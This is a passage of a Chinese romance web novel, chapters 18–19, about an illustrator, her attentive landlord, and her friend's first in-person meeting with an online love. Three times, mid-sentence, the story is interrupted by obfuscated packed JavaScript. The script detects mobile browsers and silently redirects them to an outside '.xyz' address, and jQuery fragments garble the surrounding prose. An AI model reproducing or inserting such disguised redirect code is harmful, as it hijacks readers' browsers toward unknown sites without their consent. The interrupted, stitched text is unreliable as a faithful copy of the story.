屋檐下的长椅溅上水珠,被人擦干净后,随着阴影覆盖,发出细不可察的轻响。
林予星摁亮手机,给黎嘉年发微信。
[X:靓仔房东,睡了吗?(对手指.jpg)]
时间显示最后一班车已停运,她今晚要么在这长椅上应付一晚,要么把黎嘉年从床上喊起来。
她不知道他的职业,是否和她一样单休,就趁着那么点时间休息,不然……
又看了眼时间,这个点实在太过冒昧。
两人熟归熟,不能真这么过界吧……
但话又说回来……
他是黎欣弟弟,总不能让她这个前姐睡长椅。
不行,这又不是他的错,是那对狗男女……
不等林予星继续踟蹰要不要叫醒黎嘉年,那边电话直接打过来。
她慌慌张张接起,“喂”了一声。
来不及说出道歉的话,黎嘉年略微紧绷的声音从那端传来:“林予星,出什么事了吗?”
“呃……”林予星抓紧单肩包带,“那个,你有什么事吗?”
他怎么听起来这么紧张?
那边语气不大好:“是我在问你。”
她听到他似乎从什么地方起身,窸窸窣窣的动静像在穿衣服,忙说:“那个……我钥匙忘带了,你那,有备用钥匙吗?”
所有细弱动静在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003209|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这刻静止。
黎嘉年重重往外呼出一口气:“我还以为……算了,有。你在哪?我开车去接你。”
“倒不用这么夸张……我就在楼下。”
“嗯,等我一分钟。不要挂我电话。”
为什么不挂断?
林予星犹豫半晌:“可是我话费挺贵的……”
"我打回给你。"
他以不容拒绝的态度挂断又打回,悉索响动续上,在这黑夜无端滋生出几分窥人隐私的不安。
一分钟。
他说的一分钟真的只是一分钟。
从家里出来,再下楼,刚刚好好,一分钟。
灯光从他家一路亮起,他从里面打开,睡衣被楼道灯镀上层暖意。她看不清他真正的底色,直至她走到近,才看清他穿的是灰白色睡衣。
“怎么又加班到这么晚?还不带钥匙?”
黎嘉年说这话时背着光,林予星才发现他只是长得温和,说话懒散,使人忽略他的骨相其实并不如他表面那样温柔。
对比强度明显的光与暗在他脸上分割出色块,像她在素描课上画过强光下的石膏像。
眉骨耸立,遮盖出阴影,昏黄路灯仅在他鼻尖处留下光斑。
那双黑到发沉的双眸晦暗不清,可她知道,他在看她。
林予星低头躲开他的目光,小声道:“抱歉,工作上……发生了点事。就忘了。”
“……我不是怪你的意思。”黎嘉年克制住起伏思绪,忍了忍,仍然没有说出口,而是放轻语气,“走吧,回去。”
说完,他转过身,去刷电梯卡。
林予星站在他背后,忽然问了句:“你刚刚是不是担心我出事了?”
拿着电梯卡的手攥紧一瞬,又悄然放松。
黎嘉年没有回头,轻轻“嗯”了声。
那些没说出话在心中即使再汹涌,能流露出的,能诉之于口的,能让她知道的,不过是一滴水落入大海的声音。
“滴答。”
涟漪一瞬。
消失无痕。
他担心过她很多次,从前到现在,未来怕是也难放下。
电梯映出二人身影。
被阿姨擦到发亮的反光钢板清晰照出黎嘉年的脸。
他在看她。
少年似是放空,目光轻飘飘却像是有千斤重。
电梯层数缓慢往上升,林予星微微侧过头想说点什么,不等她找到话题,他已经到达目的地。
洗衣粉混着雨天的气味经过身边,潮湿且凉。
黎嘉年走出电梯,林予星以为他要跟自己告别,下意识抬起手。
他却在外面按住开门键,轻声说:"以后你有什么事可以直接找我,我都会帮你。"
"……好。"林予星点头。
"把我当成黎欣用吧。"他开玩笑般说了这一句,将口袋里的钥匙递给她,"这是唯一一把,别弄丢了,用完放我门口邮箱。"
林予星继续点头:"好。"末了又憋出一句,"谢谢。"
"明天周日,有安排?"
"没有。"
"嗯,想出去就找我。"他说完,松开开门键,"林予星,早点睡。"
电梯门徐徐关上,外面的人逐渐被铁灰色吞没。
林予星卡了半天,终究没把那句"晚安"说出口。
铁灰色钥匙塞入锁孔,朝右转上了双重锁,试验两次后才打开。
她没有开灯,摸着黑,靠着窗外渗入的月光洗漱沐浴。
等到吹干头发,她坐在书桌前,按开了台灯。
未完成的漫画静静等着她开头。
林予星拿起铅笔却不动笔,而是顺带拿起一旁的手机,将下班时看到的事告诉程芷琳。
[X:我跟你说,工作室里的实习生和我们设计总监搞上了,我怕被灭口,钥匙丢在抽屉里都没刚拿。联系了房东,现在才洗完澡出来。]
程芷琳明显在等着自己,以往这个时间她也已经睡了。
[我去,不是吧?你有没有被发现?别掺合进他们事里,不然会被你们总监的女朋友一起赶出去。]
[X:应该没,我都不想说什么了,窗帘都不放下来,两个人就迫不及待在那亲来亲去。我估计公司摄像头被拔了,不然他们这么大胆。我告诉你一件事,那个总监原本目标是我。(捂脸.jpg)]
[程芷琳:但你不会跟他的,我知道。]
[X:万一我穷疯了呢?]
[程芷琳:你去公园摆摊卖画的可能性更大,哈哈。]
林予星看着手机,忍不住笑:[行行行,你面试过了吧?]
[程芷琳:你又不看消息,早就过了,三千五,包吃双休。本来想这周日约你出去吃好吃的,但是没时间,下周吧。]
没时间?
电光火石间,林予星想起一件事,打字飞快:[我去,我都忘了,你是不是要去见沈观止?]
[程芷琳:是啊,我真亏的你记得。不说了,我先睡了,你没事就好。]
[程芷琳:你也早点睡,别熬夜,上次看你黑眼圈都出来了。]
[X:好,你注意安全,有什么事给我打电话。]
[程芷琳:OK。]
这句话过后,聊天消息框彻底静止。
林予星点进程芷琳朋友圈,才发现她前几天发了入职的朋友圈。
她叹了口气,终于放下手机,将铅笔握在手里,思绪纷杂地在纸上勾画。
夜里安静,虫鸣伴随蛙叫若有似无响起。
随之而来的不单单是淡淡的孤单,还有沉寂与饥饿。
打开塑料袋,拿出一颗晶莹浅黄的鸡公榄放入嘴中,林予星低头,慢慢在纸上勾画故事开头。
18.啫啫煲
一夜过去。
有人睡了半程,有人彻夜不眠。
天色蒙蒙亮之际,从屋中透出的微弱灯光才熄灭。
书桌上,四五张画纸与铅笔屑凌乱堆叠。
经由她手创造出的世界凝聚于条框中,颓败且华丽。
她望向窗外,未升起太阳的光线是蓝色调,目之所及,天光像在这片天地倾倒下清透冷色,渗入每寸空气,洒在纸张上愈发显得寂寥。
黑色勾线笔,没擦干净的铅笔痕迹……
在公司薅来的颜料干在牛皮纸上,一朵又一朵,以冷暖划分出色调。
水色遗留,在纸上氤氲。才一晚上,蓝色调颜料已被画笔毛端抹平。
在她手边,或许是连接到未来的人生。
林予星起身,手侧蹭到的铅笔灰落在桌面,恰好被外面钻入的风吹散。
空白纸上,布满密密麻麻线条。
那些以点线面组成的画面与文字,就算通宵也只能铺出一小段。
故事以沉重的死亡为开头,核战争将这个地方变得荒芜,遗留下的人类需要找到新的栖息地。
她笔下的女孩告别亲人朋友遗体后,开着丢在路边的车,囤满物资,沿着广播所说的坐标,用指南针导航好方向,开车上路,去寻一个延续生命的起点。
如果不是天色亮起,驱散黑夜灵感,她可能会一直画下去。
比起白昼的乏善可陈,按部就班,显然黑夜带来的玄妙莫测更具创作者青睐。
林予星捶腰捶腿,在原地动了动关节。
身体不堪重负,犹如不上油的老式机器人,“咔哒哒”细响不断。
缓了缓,她走到厨房,水龙头打开,凉意从指尖漫上。
晶莹盛满掌心,忽而拍至脸上,混沌头脑刹那被凉意破开,清明许多。
通宵过后的身体仍不想歇息,经过整夜战斗后脑子异常活跃,想要随心所欲做其他平时根本不做的事情。
比如说,吃早餐。
洗漱完后林予星穿好内衣,披头散发出门。
清晨凉风刮在身上,宽大睡衣随风时不时贴在身上,凉飕飕的裹出消瘦身形。
周围早睡早起的老人家看到她如此随意,街坊邻居的,本想上前打招呼,看清她脸色后“阴公阴公”喊个不停。
林予星哪会不知道自己通宵后脸色差,但她真的想喝豆浆,应付几句后假装有急事,忙绕过这群热心老太太直奔小区外早餐店。
她来得早,平日里九点就几乎兜售一空的早餐店有很多选择。
碍于兜里空空,她还是只选了杯一块五的芝麻黑米豆浆。
买完便回小区,随意选了张长椅坐下,一点一点慢慢喝下这尚且滚烫的半流动液体。
“中午吃什么?”林予星将脑袋放在椅背,抬头去望凋零的紫荆树,当看到树上挂满略微发棕的豆荚,她才惊觉已过去这么长时间,不由接着喃喃,“四季豆炒肉吧……好久没吃了……”
说完,她闭上眼睛。
晨风吹拂过发丝,压在脖颈下的发垂落,在半空中随风晃荡。
拿在手里的豆浆,隔着纸杯,慢慢传入她掌心。
啃了一夜鸡公榄,她蛀牙隐隐发疼,应是继发龋齿。
少时喜欢吃糖的恶果持续到成人,将近二十年,没有钱进行再次补救。
她忍耐着,直到这阵疼痛过去。
在林予星不远处,给黎嘉年家打扫卫生的家政阿姨提着早市买的新鲜蔬菜路过,看到她毫无形象瘫坐在石椅上,本想打个招呼,见她闭着眼,还是算了。
但林予星脸色过于苍白,还是让人隐隐有些担心。
阿姨不放心地看了又看,拿卡刷电梯上楼。
摁开密码锁时,恰好和刚醒不久的黎嘉年对视。
他头发凌乱,睡衣不整,拿着两本厚厚的医学书正准备去客厅。
扫了眼另一本书上看不懂的文字,阿姨边关门边道:"又在那看小日子的书啦?今天想吃什么?房间要打扫吗?恶魔狗要不要洗?"
"汪汪!"别西卜像是听懂,在她面前不满哼哼。
"桃姨,我想吃鱿鱼煲。狗帮我带去宠物店洗吧。"黎嘉年说完,坐到沙发上,打开电脑开始敲论文。
看样子是不打算再跟她说话。
犹豫了下,桃姨还是说:"不出去走走吗?林小姐在楼下。"
"林小姐是谁……"他漫不经心接话,忽然停住。
黎嘉年下意识去看电脑右下角时间,上午7:56分,这个时间,她不是应该在睡觉吗?
搬进来的这段时间,林予星昼伏夜出,时间移到九点半后才偶尔见人,更别提经常加班到地铁停运。
八点不到,在楼下?
黎嘉年想到什么,问了句:"她脸色是不是不好?"
"系呀,白到死。"桃姨拿着新买的菜去厨房,半清不清的话从里面传出,"她本来就白,今天早上看到她更是白到死人咁,我还以为尸体躺那了。"
话音落下,客厅传来些微响动。
桃姨放好菜,探头望去。
他绕过屏风,丢下一句:"桃姨,午饭做两人份。晚饭不用做了。"
"啊?"桃姨忙走出两步,走到玄关处,"你是不是要跟林小姐吃饭呐?"
他动作奇快,话音刚落已经穿好拖鞋出门,回答她的只有关门声,还有别西卜挠门的动静。
桃姨:"……"
他不回答是不是,那她按照林予星那份做了。
年轻人……
至于这么猴急吗?
她转身回厨房,准备先把菜洗了。
别西卜无能狂叫的动静持续到黎嘉年下楼,发现他真不准备带自己出去后绝望倒地,哼哼唧唧等着桃姨忙完带自己出门。
清晨的风吹过镂空的门,屋檐下的燕子飞过,振翅声响起那刻,感应灯也亮了。
打扫小区的保洁员背着驱虫药走过,看到黎嘉年出门,挥手朝他打招呼。
"早晨。"
"靓仔房东,早啊!"
"去边度饮茶?"
走过形形色色的街坊邻居,行过下棋玩健身器材的热闹地带。
如果是林予星,她会在小区哪里坐着?
桃姨从菜市场的必经路段,大概率是小区后门方向。
人少、安静。
适合通宵过后大脑皮层依旧活跃的休憩处。
林予星坐了会,手里只剩个底的豆浆逐渐凉透。
她觉得困倦,整夜不睡的疲惫袭来,支撑不住她清醒着回屋睡觉。
在这眯会吧……
人来人往,安全,而且是白天……
她想到这,放纵自己昏睡过去。
半梦半醒间,似有一阵熟悉的风从远处拂过,悄然降临到她身边。
带着奔袭而来的回忆,将她拖入沉沉梦境。
黎嘉年悄无声息坐在林予星身边,盯着她短袖下细瘦双手握着的纸杯。
她一点一点松开对它的掌握,十指纤长雪白,昙花花瓣般易折。直到纸杯从她手中倒下,掉入另一只手。
他无声将纸杯放到自己脚下,直起背侧头看她。
林予星睡着了。
通宵的痕迹在她脸上明显地像浮在牛奶上的腰果,弯弯贴在她眼睫下。
及腰长发散落在她身前背后,细软泛红,阳光撒下来时,恍若金棕色的丝线。
一如多年前的盛夏。
他遇到她的盛夏。
高中的盛夏。
黎嘉年初次遇到林予星那天就被她尖锐的性格吓了一跳。
说脏话,拿着洗笔水桶冲进男厕盖在人家脑袋上。
冲动、鲁莽、脾气坏。
那是他对她的第一印象。
后来听说整件事情经过,是他们班上男生追人家追不成,被礼貌拒绝后开始造黄谣,企图把她从群体孤立出去后独自拥有她。这第一印象开始变了。
他开始有意无意注意她。
美术班在顶楼,老师办公室也在顶楼,他借着班务名义,不顺路地路过。
隔着沾满薄灰的窗,他走过第二次才发觉她就在窗边的座位。
她背对着他,望着画架中间的石膏几何体,用炭笔在素描纸上勾勒形态与透视辅助线。
一天。
一星期。
一个月。
几何体变成静物,再从静物变成石膏人像。
她笔下的画组合也越来越丰富,围在她身边的人也越来越多。
偶尔美术班没人时,他会悄悄走进去,不再隔着玻璃看她的画。
近距离看那刻,黎嘉年会想,她画的真好。
哪怕他不懂,在左右两端对比下,仍能看出画技突出。
素描、速写、色彩。
三门课程她都学得很好。
担心打扰她,黎嘉年小心翼翼隔着一段距离,不敢接近,却庆幸于每次遇见和擦肩而过的瞬间。
是体育课上遇到她从他身边跑过,扎起的马尾在半空中飞扬。
是上课铃响混乱中相撞,她匆忙拿着小卖部买的零食窜回班级。
是放学时骑自行车回家,她拎着书包没入人群。
无数不期而遇的片段,和他刻意制造的偶遇,直到黎欣出现,变成老式电影胶带,一捆接一捆,锁进无人知晓的夜。
她们在朋友介绍中相识相知,于平静的生活中汹涌相爱。
小尾指一触即分的试探,鼓起勇气深入指缝的牵手,十指相扣的亲密。
理科的理智与美术的浪漫,陪伴她们走过一年又一年。
他的胶带发霉、褪色、粘连、断裂……
碎成屑片,烂在心里。
他曾隔着玻璃看她的画,也曾隔着玻璃看她们在静谧的画室亲吻。
那是他从未见过的温柔。
仅他可知的暗恋无疾而终。
靠着时间冲淡的情绪滋生出别样执着。
黎嘉年伸手,替她挡住照在脸上,树叶缝隙间洒下的斑驳碎光。
一簇簇跳跃的、闪烁的、带着微微灼热的,像画上揉碎的金箔纸,轻轻呼气,便会如金蝶般飞至远方。
有路人行走于树荫下,或是轻盈踩过,或是步履蹒跚,拉长的影子奇形怪状,在长长道路上像流动的墨水,洇入大片阴影中。
白色板鞋按着导航走到商场附近,喷泉立在广场中心,半边在暗处,半边在明处,溅落下的水花碎在脚边。
实在找不到人,导航也不怎么灵,正想发条消息过去,忽然听到身侧传来一声女音。
"沈观止?"
温温柔柔,像朵棉花擦过耳畔。
被喊到名字的男人一愣,转过头去,隔着飞溅喷泉花看到了她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054596|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
八年。
整整八年。
他们终于见面。
深夜聊过的文字,她发来的照片,隔着听筒传出的声音。
八年来的所有一切,在此时此刻凝聚成活生生的人。
她好漂亮……
鹅蛋脸,五官标致,棕色长发浓密,垂至细瘦的腰。
黑色泡泡袖长裙下,是双不太高的芭蕾鞋,像朵黑色的郁金香。
微风拂过,他似乎闻到来自她身上的香水味,似乎就是他曾经送她的那瓶香奈儿——邂逅。
沈观止在观察她,程芷琳也在看他。
白T配蓝色格子衫,牛仔长裤配白鞋,脑袋上顶着NY棒球帽。
很经典的程序员装扮,尤其是背后还背着书包。
长相普普通通,不丑,甚至于说带了点秀气,约莫是常年呆在电脑房,皮肤白白嫩嫩,像没有淋红糖姜汁的豆腐花。
"你真比我大七岁?"程芷琳不自觉问,"我怎么看着你像大学生?"
她心里其实很忐忑紧张,在看到真人比照片视频好看许多后,随之而来的便是开心。
多种情绪交杂,她从袋子中拿柠檬水给他的动作都有些颤。
沈观止愣了愣,脸一下子红了。
他一手接过程芷琳递来的柠檬水,一手四处摸索,从自己钱包里掏出身份证给她。
太过紧张,导致沈观止声音发紧:"这、这是我的身份证,我没有骗你。"
他一紧张,程芷琳忐忑的心立时放松。
她忍不住想笑,又急忙绷住表情,假装严肃地去看他身份证。
果然是大她七岁,申城人。
"咳咳。"程芷琳清了清嗓子,"请问这位先生,以前跟我说的话都是真的吗?没有骗我?"
"没有。"觉得这两个字太过轻飘,他竖起三根手指,"我发誓。"
程芷琳禁不住嘴角上扬:"行了,逗你玩的。走吧,这么热的天,去商场吹吹空调。"
"嗯嗯,好。"沈观止还是紧张地不行,亦步亦趋跟在她身后。
商场玻璃门打开那刻,吹来凉爽的风,连藏在发丝里的暑气都在快速消退。
头顶射灯投下一片阴影,他像一只大狗,紧紧贴在自己手边。
程芷琳看了看时间,回头问他:"中午想吃什么?"
"都可以!"沈观止想了想,还是道,"我不太喜欢吃菠菜和胡萝卜,可以不吃吗……"
程芷琳没注意自己从见到他那刻就在笑,温和询问他意见:"可以。那吃粤菜吗?你以前来过广东吗?"
"好,粤菜。"他点头,"我以前去过深城,没有来过佛城。"沈观止想到什么,又加了句,"今天我买单,你不用担心。"
程芷琳嘴角弧度微微下降,却是礼貌道:“我找到新工作了。你第一次来广东,我请你。下次你再请我吧。”说完,她转移话题,"粤菜你想吃早茶类还是由我定?"
觉察到她似乎情绪有点变,沈观止识趣地说:"你定吧……但,不要菠菜和胡萝卜……"
看来是真的很讨厌。
强调了两次。
程芷琳点点头,让他跟随自己去商场五楼。
佛城市中心商场很大,冷气开得太足,进来不到三分钟已经感觉到凉飕飕。
她故意没有回头看他,却借着一切能发光的物品观察他在做什么。
比起申城的热闹,佛城人少许些。
因着是周日,打扮精致的外地人有很多,穿着随便的本地人反倒稀缺。
沈观止看了半天,小声问:"你们这的人都喜欢穿拖鞋吗?"
他还以为是段子呢,没想到才这么会就看到三四个穿着白背心大肚腩,趿拉着人字拖的男人走过,身边还跟着自己老婆和两三个小孩。
"嗯,这里经常下雨。"程芷琳侧过头看他,心想不知道他和林予星比谁更白。
身旁有人路过,她下意识搓了搓手臂,在到达五楼时迈出脚步。
选择的地点是家品牌连锁店。
程芷琳想到这家店人多,没想到人这么多,好在她早已准备好号码牌。
两人坐在门外没有等多久就得到了个靠窗的位置。
翻开菜单。
大多是啫啫煲。
沈观止在申城没吃过,不知道味道,翻了两页就全权交给程芷琳决定。
"那就咸蛋黄鸡翅煲、通心菜、鱿鱼煲……"她翻看菜单,点了四菜一汤。
沈观止忍不住在心里计算价格,又看她下意识搓了搓手臂,忍不住问:"你冷吗?那个,四菜一汤,会不会太多?我不饿。"
"还好,不冷。吃不完可以打包呀,不多。"程芷琳说着,要把他的碗拿过来用热水烫一烫。
沈观止连忙抢过来,边拆包装袋边说:"我知道,你们广东叫这个‘啷碗’。"
"那你还知道什么?"程芷琳看他笨拙的样子也不阻止,双手托腮看他,"来这做了很多功课吗?"
"嗯,我了解了些。还跟公司一个广东的同事学了粤语,我跟他说你是说客家话的,他就教了我一句,‘涯中意唔吼久诶’。"他不太熟练地念了两次,这才问,"是什么意思?"
"我喜欢你很久了。"
"当啷"一声轻响,勺子从他手里掉落。
明黄暖灯下,沈观止的脸迅速染上血色。
19.啫啫鱿鱼煲
程芷琳没有调戏他的意思,而是那句客家话真这么翻译。
结果他在听到后,借着去洗手间,颇有一去不回头的势头。
五分钟,人没回来。
十分钟,程芷琳猜他可能去拉屎。
二十分钟,她开始担心他是不是没带纸。
好不容易等到人出现,啫啫煲也被服务员端上。
越过雾气,程芷琳望见他是从电梯方向跑来的,手上无端多了个纸袋,上面印着一行黑色logo。
再靠近,她甚至能看到他脸上起了层薄汗,血色由内而外透出,在暖光下粉扑扑的,像颗桃。
“这边空调太冷,我的外套跟你衣服不搭,所以我去买了件披肩,你看看合不合适?”他气息不匀,边说,边将纸袋子推给她。
程芷琳愣愣接过,一颗心顿时像泥煲里滚烫的菜品,滋滋冒泡。
她缓缓拿出纸袋里的黑色披肩,针织的,边缘坠着珍珠,披在身上很搭,本就偏温婉的黑裙披上后多了几分复古味道。
嘴张了张,程芷琳正想说些什么,沈观止先说话了。
“很适合,店员推荐的真合适。”他真心实意夸她,粉扑扑的脸上浮现出几分不好意思,“那个,我刚下飞机不久,有点饿。这个,能吃了吗?”
说话间,菜已上齐。
被酱料裹满的鱿鱼呈现出淡淡的橙棕酱色,加入红绿彩椒、青色葱段、紫洋葱片和米白蒜瓣,盛放于黑泥煲里,随着底部滚烫,正热闹地跳动。酱汁仍在沸腾,气泡浮上又破裂,溅在鱿鱼肉上,像在为它增添色彩。
随意拿了双筷子夹起一根鱿鱼须,酱汁滴落在小碟子,洇出小块不规则痕迹。
放进嘴里,舌头还未靠近,牙已感觉到滚烫。
她急忙吹了吹,等到萦绕在鱿鱼须上的热气散尽后才试探着咬下一口。
蒜葱香气率先侵占口腔,而后是鱿鱼沾染的的鲜甜咸香。
火候刚刚好好,韧劲与绵软各占五分,咀嚼并不费力,弹牙爽口,很是下饭。
桃姨被烫地眯起眼,放下碟子呼着气给黎嘉年发消息。
[小皇帝,煲好了,翻来食饭。]
她是黎嘉年母亲二十四岁时生两姐弟请来的阿姨,不知不觉已经跟着黎家二十多年。
自从黎嘉年父母去世后,她从自己儿子家里搬出,平时就住在小区附近。
因着是自己亲手带大的孩子,桃姨不免将他当成自己半个儿子,平日说话也不怎么顾及,但到底是有分寸。
那边等了会才回复:[就来,桃姨,帮我准备一杯椰子水或者果蔬汁吧。]
[桃姨:林小姐要饮?]
[JN:嗯,她应该是通宵了,需要喝这些。]
这么上心?
桃姨想起林予星,长得斯斯文文,和黎嘉年走在一起倒是挺般配。
没记错的话,那女孩子以前和黎欣是好朋友,中间断过一段时间,但为什么断了呢?
桃姨不知道,她也懒得去问,左右是小孩的事。
她解开围裙,将灶炉上的火调到最小,带着摊肚皮的别西卜出门买椰子。
外面阳光遍地,阴影被一寸一厘吞食,像跳动的火苗,灼热从脚尖烧到膝盖。
残余晨寒消散,露在外边的皮肤在阳光下如同凝固的霜膏,白到刺眼。
本该在睡梦中的人不等人叫醒,忽而往前坠去,额头处贴来掌心,将她脑袋按了回去。
林予星依旧困得睁不开眼,身边的人气息太过熟悉,她下意识摸了摸对方手臂。
有点硬,比以前粗壮,似乎有肌肉。
衣服面料软乎乎的,是纯棉料子。
她摸索半天,就是不说话。
黎嘉年忍不住说:"该吃午饭了,跟我走。"
话音未落,林予星立时坐直身体,不可思议地看看他,又看看他肩膀。
怎么回事?
他怎么在这?
她又怎么拿他当靠垫了?
黎嘉年拿起手机看了看时间,并不理会她的疑惑,捡起她喝剩的豆浆杯丢进附近垃圾桶,走回伸手把人从石椅上拉起。
"诶?等等……"林予星扯回自己的手。
"去我家吃饭,别再吃你的垃圾食品。"看到她脸色苍白,黎嘉年不由语气不太好。
"不是,腿麻了。"
"……"
林予星感觉自己双腿爬满大水蚁,麻麻扎扎。
脑子也有点疼,甚至反胃。
看出她不舒服,黎嘉年伸出手:"扶着我,去我家喝点水。吃饱了再睡会。"
"啊?"林予星急忙摇头,"不用,我回去随便吃点。"
"我让阿姨做了四菜一汤,吃不完。你来分担下。"黎嘉年说完,靠近她,微微弯腰去看她表情,认真问,"你现在是不是头痛想吐?"
"……你怎么知道?"
"你猜?"黎嘉年叹口气,"我不知道桃姨会给你做椰子水还是果蔬汁,但能缓解通宵过后的神经功能紊乱。"
他怎么知道自己通宵?
林予星低头去摸自己黑眼圈:"很明显吗?"
"嗯,别被昌隆动物园饲养员看到了,不然会把你关进熊猫馆进行动物表演。"
林予星瞪他,才两秒就破功。
缓过久坐不动后带来的麻痹感,她往前边慢慢吞吞走边说:"那走吧,饲养员,我再去你那蹭顿饭。"
虱多不怕痒。
林予星想开了,人在低谷时还死撑着要面子讲尊严,对生存没有半点好处。
她唯一能做的也不过是等涨薪时再给予回报。
想到这,她抬头去看黎嘉年,问了句:"黎嘉年,你想要什么?"
他侧头看她:"晚上再陪我吃顿饭。"
"……我说的是其他的,包啊香水啊之类的实物。"
实物?
他什么都不缺。
黎嘉年看到两个人之间的影子在正午阳光下挤成一团墨,想了许久,仍旧不知道要怎么回答她。
他当然知道她在想什么,要报答他而已。不想牵扯太深,人情世故又在逼着她成长,于是学会礼尚往来。
“我有一套《机器人瓦力》定制金属拼装摆件,预测拼装时长四十小时。”他侧过头看她,眼中浮现几分不易觉察的笑意,“你帮我拼?”
她的手巧,耐心也足,很适合做这些精细手工。
林予星没想到他会提出这个作为交换,不死心问:“还有呢?除了这个?”
“晚上再跟我吃一顿?”
“……”
得,兜兜转转又倒回来了。
没了办法,她跟着黎嘉年回去吃午饭,等晚点再做安排。
至于他提出的那两件事,也晚点看看吧……
两人一前一后走回楼,再度进入小小的电梯间。
灰色金属映照出二人模糊身影,安静笼罩,电梯运行上升的动静在耳畔间轻响。
林予星为避免尴尬,找了个话题问:“晚上还是在你家吃吗?”
太尴尬了,一天两顿都在他家解决,哪怕心里知道这时候不好讲自尊,但她确确实实快被贫穷打倒。
租房五百,各种杂费加起来也要六百。
剩下四百就只剩吃饭。
普兰顿工作室发工资不准时,她如果不硬着头皮去跟華哥要,据周栗说能拖上两个月。
一千块,拖上两个月。
她的存款实在撑不住。
黎嘉年稍稍回头看了她一眼:“不是。”
她轻轻“啊?”了一声,又问:“那去哪?”
“去农庄。”
农家乐啊……
林予星原先跟着父亲在深城生活,随着父亲再婚,她在一次暑假过后,决定跟随母亲回山城。
然而母亲忙,于是将她放到外公外婆家。
六年级之前,她都是在大山里度过,那是她人生中最为自由的一段时间。
山中一切都让她感到新奇。
雨季后的野山菇,腐木上生长的木耳,山泉边生长出的蕨菜……
散养在山上的鸡,河塘边觅食的鸭鹅,用猪草喂养出的草鱼……
小时候司空见惯的东西,长大后却成了城里人追捧的山货,不惜花费高价去买。
归根结底,高楼大厦住多了,科技狠活咽进去去,开始想念最为原始的味道,最接近食材本身的鲜美。
"你不喜欢去农家乐?"黎嘉年见她不出声,侧头问她,"那晚上吃西餐?还是东南亚菜色?"
"噢,不是。"林予星收回思绪,"只是想到了其他东西。不过,我们午餐都没吃,就想着吃晚餐了?你周末没有其他活动吗?"
"叮——"
电梯门打开。
两人一前一后走出这狭小空间。
黎嘉年身上的香气被风吹散些许,却若有似无飘向林予星。
"没有。"黎嘉年忽而转头看她,"我单身,所以周末有时间。我朋友只是偶尔约我去骑马,射箭,他们有女朋友要陪。所以,可以随时来找我。"
林予星感慨:"真好啊,你有这么多休息时间。"
她没听出他的言下之意,只是羡慕他有大把时间可供挥霍。
黎嘉年欲言又止,最终叹口气,并未说下去。
他摁开密码锁,正好看到桃姨收拾东西从里面走出。
"哎呀,咁快翻来啦。"桃姨用粤语说了句,看到林予星在他身后,笑了笑,随即用蹩脚的普通话道,"那你们两个吃,恶魔狗我送去附近宠物医院洗澡了,晚点阿梅会送回来。"
"不留下一起吗?"黎嘉年问了句,侧过头和林予星极快介绍,"桃姨,跟我妈生前关系很好,照顾我们两姐弟二十多年。"
"嗯,我知道,我们见过面。"林予星点头,礼貌说,"桃姨好。"
"好好好,黎欣之前经常跟我提起你,你送她的画都还在老宅里放着呢,过年回去的时候可以顺带去看看。"桃姨对她并不陌生,见她还记得自己,更是笑得开心,"那你们去吃饭吧,我儿子女儿最近也搬来这附近住了,住得近,我中午回去做饭,跟她们一起吃。先走了啊,慢慢食。"
"嗯,好,那你回去路上注意点。"下玄关时桃姨脚步有些踉跄,黎嘉年不动声色扶了她一把,"有时间去医院检查身体,不要太操劳。你儿子也大了,有些事让他自己承担。"
"他要有你一半懂事就好咯。我们这些做父母放不下的,毕竟是自己的崽。怀胎十月,长大了,没了脐带,这血缘还是连着的。"桃姨边说,边拎起沉重的帆布包往门外走去。
黎嘉年让林予星先进门,他则是送桃姨去了电梯口,目送她离开小区这才回家。
屋子安安静静,仿佛又没有人。
没了別西卜在,哪怕多了个林予星也是诡异的静。
要不是看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100071|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到她洗完手自觉坐到餐桌前,黎嘉年会以为刚刚的一切都没有发生。
林予星奇怪看他:"怎么了?"
为什么盯着她发呆?
"没什么,你太安静了。"他说完,走进卫生间洗手,这才在她对面坐下,"对了,你刚刚在电梯间里想什么事?都想出神了。"
"想我小时候的事。"
面前桌上,两碗米饭袅袅冒热气。
鱿鱼煲色香俱全,将其余香气力压下。
酿豆腐略略焦黄,中间肉末仍在冒油花。
白灼菜心躺在瓷盘内,绿油油地撒了酱汁蒜末。
黎嘉年看到旁边水壶有挪动过的痕迹,打开一看,是桃姨准备好的椰子水。
他在橱柜里拿了个白底印紫色鸢尾花的陶瓷杯,洗干净后被她倒满。
"一杯椰子水换你小时候的故事?"黎嘉年说着,将杯子放到她面前,"成交吗?"
林予星笑道:"好啊。"
那是一段很长却又记不清的故事。
十多年过去,细节模糊,只剩下微不足道的片段。
